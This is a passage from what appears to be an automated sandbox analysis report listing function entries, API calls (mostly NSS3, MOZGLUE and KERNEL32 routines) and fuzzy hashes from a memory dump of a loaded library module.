Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: 76f7cec45d81e3d38c471a3eddbd4f2181b3cc4c06f29ebf3af69ca34b7098f8
Instruction ID: 10b7570676639749b4587f4128fdece0bb809b5080836d063c0b545a36ed4faa
Opcode Fuzzy Hash: 76f7cec45d81e3d38c471a3eddbd4f2181b3cc4c06f29ebf3af69ca34b7098f8
Instruction Fuzzy Hash: 6691AF71A01608CFEF04DFE9E8587ADB7B1BF0A305F28012ED4169B650DB359996EBC1

Function 6CBC1D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CBC1D8F

Part of subcall function 6CBB14C0: TlsGetValue.KERNEL32 ref: 6CBB14E0
Part of subcall function 6CBB14C0: EnterCriticalSection.KERNEL32 ref: 6CBB14F5
Part of subcall function 6CBB14C0: PR_Unlock.NSS3 ref: 6CBB150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CBC1DA6

Part of subcall function 6CBB10C0: TlsGetValue.KERNEL32(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB10F3
Part of subcall function 6CBB10C0: EnterCriticalSection.KERNEL32(?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB110C
Part of subcall function 6CBB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB1141
Part of subcall function 6CBB10C0: PR_Unlock.NSS3(?,?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB1182
Part of subcall function 6CBB10C0: TlsGetValue.KERNEL32(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CBC1E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CBC1ED0

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: 4f7a9c4533b70532b7fb1de0b7f4ec6e888a95273efff547f6ec3d96c61deb0e
Instruction ID: 943e46faebf0f5e16b56d789271fbcbbe75f0be37b2344b5387fd83d4c600a3e
Opcode Fuzzy Hash: 4f7a9c4533b70532b7fb1de0b7f4ec6e888a95273efff547f6ec3d96c61deb0e
Instruction Fuzzy Hash: 41516B75A0034ACFDB04CF98D884BAEB7B6FF49308F184129D819AB750D771E945CB92

Function 6CC14FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6CAF85D2,00000000,?,?), ref: 6CC14FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC1500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC150C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC150D6

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 89a59fcf4c726b9bd5f5e68e484023c4661d83244a3c27419e2bcb047d25fb18
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 47415AB2A002118FCB18CF59DCD179AB7E1BF4431871D466ED84ACBB02F779E891CA81

Function 6CB3FFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6CB3FDFE), ref: 6CB3FFAD

Part of subcall function 6CADCA30: EnterCriticalSection.KERNEL32(?,?,?,6CB3F9C9,?,6CB3F4DA,6CB3F9C9,?,?,6CB0369A), ref: 6CADCA7A
Part of subcall function 6CADCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CADCB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6CB3FDFE), ref: 6CB3FFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6CB3FDFE), ref: 6CB4001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6CB3FDFE), ref: 6CB4006F

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: b93f2b29814123450b7a875282f5ff3336ff089b64538600c36e7289ce7233fa
Instruction ID: eb8980a42990a079d1ac1aaf4e308adda18716bbf06404a7ad2824f655ade775
Opcode Fuzzy Hash: b93f2b29814123450b7a875282f5ff3336ff089b64538600c36e7289ce7233fa
Instruction Fuzzy Hash: 3941EE71B042999BDB08DFA5F889AAE7779FB45305F04402DD80693B00EB35A952DB92

Function 6CC27DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC27E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC27EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC27EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CC27ED8

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: e61d59f49eff9967d7e3b398db0f31d2d0f5f737ef7220a93417cf37b317d9a1
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: 9231A4B1A001118FDB04CF09CCD199ABBA2BF8831871A816AC8585BB11FB75EC45CBD1

Function 6CBDDF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6CB63090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB7AE42), ref: 6CB630AA
Part of subcall function 6CB63090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB630C7
Part of subcall function 6CB63090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CB630E5
Part of subcall function 6CB63090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CB63116
Part of subcall function 6CB63090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CB6312B
Part of subcall function 6CB63090: PK11_DestroyObject.NSS3(?,?), ref: 6CB63154
Part of subcall function 6CB63090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB6317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CBDDBBD), ref: 6CBDDFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBDDFEE

Part of subcall function 6CB786D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB78716
Part of subcall function 6CB786D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB78727
Part of subcall function 6CB786D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB7873B
Part of subcall function 6CB786D0: PR_Unlock.NSS3(?), ref: 6CB7876F
Part of subcall function 6CB786D0: PR_SetError.NSS3(00000000,00000000), ref: 6CB78787

Part of subcall function 6CB9F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CB9F854
Part of subcall function 6CB9F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CB9F868
Part of subcall function 6CB9F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CB9F882
Part of subcall function 6CB9F820: free.MOZGLUE(04C483FF,?,?), ref: 6CB9F889
Part of subcall function 6CB9F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CB9F8A4
Part of subcall function 6CB9F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CB9F8AB
Part of subcall function 6CB9F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CB9F8C9
Part of subcall function 6CB9F820: free.MOZGLUE(280F10EC,?,?), ref: 6CB9F8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6CBDDBBD), ref: 6CBDDFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6CBDDBBD), ref: 6CBDE007

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: 9eb88d44e32ce072cc73d581e165931e98fa33c3de25f72946d38c99080e2fb9
Instruction ID: 94b3ea0000aef26119ba681ca86aed8d88e17e7a3ea38c507f228c24e1543d85
Opcode Fuzzy Hash: 9eb88d44e32ce072cc73d581e165931e98fa33c3de25f72946d38c99080e2fb9
Instruction Fuzzy Hash: E331E6B1A0428157DB109A7AEC85A9FB2B8EF4530CF050135E90AD7B42FB21E518C7F3

Function 6CB56C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CB56C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CB56CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CB56CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6CC78FE0), ref: 6CB56CFE

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 98d0e9047845b2a030fb5e24d621617e64f4f22b5a2128040ec59bb90c7bcca5
Instruction ID: 9929c356e6e75bd0befab6ca4016f8096244142bdd142ec475499564b92254af
Opcode Fuzzy Hash: 98d0e9047845b2a030fb5e24d621617e64f4f22b5a2128040ec59bb90c7bcca5
Instruction Fuzzy Hash: 2F31CFB1A002169FEB08CF65C881ABFBBF9EF49248B50442DD905E7740EB719815CBA1

Function 6CC64F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6CC64F5D
free.MOZGLUE(?), ref: 6CC64F74
free.MOZGLUE(?), ref: 6CC64F82
GetLastError.KERNEL32 ref: 6CC64F90

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: 569f03a34148de0d1877150579c057ff1e7b45f885c2a0e4d4192db77745d2ce
Instruction ID: 00df7e5d97b5d2f866508a4c709072cb3ea0cdf23e5bdc77edd92fd8367dd3aa
Opcode Fuzzy Hash: 569f03a34148de0d1877150579c057ff1e7b45f885c2a0e4d4192db77745d2ce
Instruction Fuzzy Hash: 84314BB5A002094BDB01CBAADDD5BDFB3B8FF45398F040229EC15A7B80FB3599058692

Function 6CBC6DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6CBC6E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBC6E57

Part of subcall function 6CBFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBFC2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6CBC6E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6CBC6EAA

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: a19fdad93c051246b034703967e37751359ef120f0d5763e7e9067e47b611008
Instruction ID: 99bba13385f4462cff087e94c4b88b214770f0a5c9256d6f138607f347cda385
Opcode Fuzzy Hash: a19fdad93c051246b034703967e37751359ef120f0d5763e7e9067e47b611008
Instruction Fuzzy Hash: 2D31C131714593EEDB145F34DC04BB6B7A4EB0131AF10063ED89AD6A80EB30A858CF83

Function 6CBADDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6CBADDB1,?,00000000), ref: 6CBADDF4

Part of subcall function 6CBB14C0: TlsGetValue.KERNEL32 ref: 6CBB14E0
Part of subcall function 6CBB14C0: EnterCriticalSection.KERNEL32 ref: 6CBB14F5
Part of subcall function 6CBB14C0: PR_Unlock.NSS3 ref: 6CBB150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6CBADDB1,?,00000000), ref: 6CBADE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6CBADDB1,?,00000000), ref: 6CBADE17

Part of subcall function 6CBB0BE0: malloc.MOZGLUE(6CBA8D2D,?,00000000,?), ref: 6CBB0BF8
Part of subcall function 6CBB0BE0: TlsGetValue.KERNEL32(6CBA8D2D,?,00000000,?), ref: 6CBB0C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CBADE80

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: a353a752ef6194b5ea3a3a59e3f43dd781f403533b87161325675544891789be
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: C131A9B19057829BEB00CF66D880666F7E4FFA5318B14C22ADC5D87B01EB70E595CB91

Function 6CB9FE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CB75ADC,?,00000000,00000001,?,?,00000000,?,6CB6BA55,?,?), ref: 6CB9FE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CB9FE5F
PR_Unlock.NSS3(78831D74), ref: 6CB9FEC2
PR_SetError.NSS3(00000000,00000000), ref: 6CB9FED6

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 270e5f4484998d8db0e751ffaf4e037e453472d77c3d0bd4249cb4a0dbf0a723
Instruction ID: 48c714440781c6ac4392627d6103f0a7491ec39bba3a779149c7c0cfd92fc429
Opcode Fuzzy Hash: 270e5f4484998d8db0e751ffaf4e037e453472d77c3d0bd4249cb4a0dbf0a723
Instruction Fuzzy Hash: 6721E431E00A55ABDB109F75E8447AA77B4FF06368F140134ED05A7E51E731E964CBD2

Function 6CBA3F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6CBA3440: PK11_GetAllTokens.NSS3 ref: 6CBA3481
Part of subcall function 6CBA3440: PR_SetError.NSS3(00000000,00000000), ref: 6CBA34A3
Part of subcall function 6CBA3440: TlsGetValue.KERNEL32 ref: 6CBA352E
Part of subcall function 6CBA3440: EnterCriticalSection.KERNEL32(?), ref: 6CBA3542
Part of subcall function 6CBA3440: PR_Unlock.NSS3(?), ref: 6CBA355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CB8E80C,00000000,00000000,?,?,?,?,6CB98C5B,-00000001), ref: 6CBA3FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CB8E80C,00000000,00000000,?,?,?,?,6CB98C5B,-00000001), ref: 6CBA3FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6CB8E80C,00000000,00000000,?,?,?,?,6CB98C5B,-00000001), ref: 6CBA3FFE
PR_SetError.NSS3 ref: 6CBA401A

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: 257d80c79e1f584dd04ce984698cb5805895f7e173e7407d9ff6e0107a390c14
Instruction ID: 7b647fef88547d3a4f3fcb5e99eeecbed15f7677632f5287abdcfb4b3f204d71
Opcode Fuzzy Hash: 257d80c79e1f584dd04ce984698cb5805895f7e173e7407d9ff6e0107a390c14
Instruction Fuzzy Hash: C23160709087448FD710AFAAD58466EBBF4FF88354F11592DD9D987B00EB31E886CB92

Function 6CB798A0 Relevance: 6.1, APIs: 4, Instructions: 77COMMON

Download Yara Rule

APIs

Part of subcall function 6CBA8800: TlsGetValue.KERNEL32(?,6CBB085A,00000000,?,6CB58369,?), ref: 6CBA8821
Part of subcall function 6CBA8800: TlsGetValue.KERNEL32(?,?,6CBB085A,00000000,?,6CB58369,?), ref: 6CBA883D
Part of subcall function 6CBA8800: EnterCriticalSection.KERNEL32(?,?,?,6CBB085A,00000000,?,6CB58369,?), ref: 6CBA8856
Part of subcall function 6CBA8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CBA8887
Part of subcall function 6CBA8800: PR_Unlock.NSS3(?,?,?,?,6CBB085A,00000000,?,6CB58369,?), ref: 6CBA8899

TlsGetValue.KERNEL32 ref: 6CB798F5
EnterCriticalSection.KERNEL32 ref: 6CB7990E
PR_Unlock.NSS3 ref: 6CB79942
PR_SetError.NSS3 ref: 6CB7995E

Part of subcall function 6CB407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CAD204A), ref: 6CB407AD
Part of subcall function 6CB407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAD204A), ref: 6CB407CD
Part of subcall function 6CB407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAD204A), ref: 6CB407D6
Part of subcall function 6CB407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CAD204A), ref: 6CB407E4
Part of subcall function 6CB407A0: TlsSetValue.KERNEL32(00000000,?,6CAD204A), ref: 6CB40864
Part of subcall function 6CB407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB40880
Part of subcall function 6CB407A0: TlsSetValue.KERNEL32(00000000,?,?,6CAD204A), ref: 6CB408CB
Part of subcall function 6CB407A0: TlsGetValue.KERNEL32(?,?,6CAD204A), ref: 6CB408D7
Part of subcall function 6CB407A0: TlsGetValue.KERNEL32(?,?,6CAD204A), ref: 6CB408FB

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$CondErrorWait
String ID:
API String ID: 1779658291-0
Opcode ID: f03ca96f2e252ff65c4b74a9545a694f09c5426e3ac53b08ab2d4bc5785d6e18
Instruction ID: b89935268de9d1681d83f89fc7034b5932297a700d103932da23e24bb8965dff
Opcode Fuzzy Hash: f03ca96f2e252ff65c4b74a9545a694f09c5426e3ac53b08ab2d4bc5785d6e18
Instruction Fuzzy Hash: E0315AB0E056458FDB10EFA9D084A6DBBF4FF05304F014469D8A99B700E731A885CF92

Function 6CB94FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs
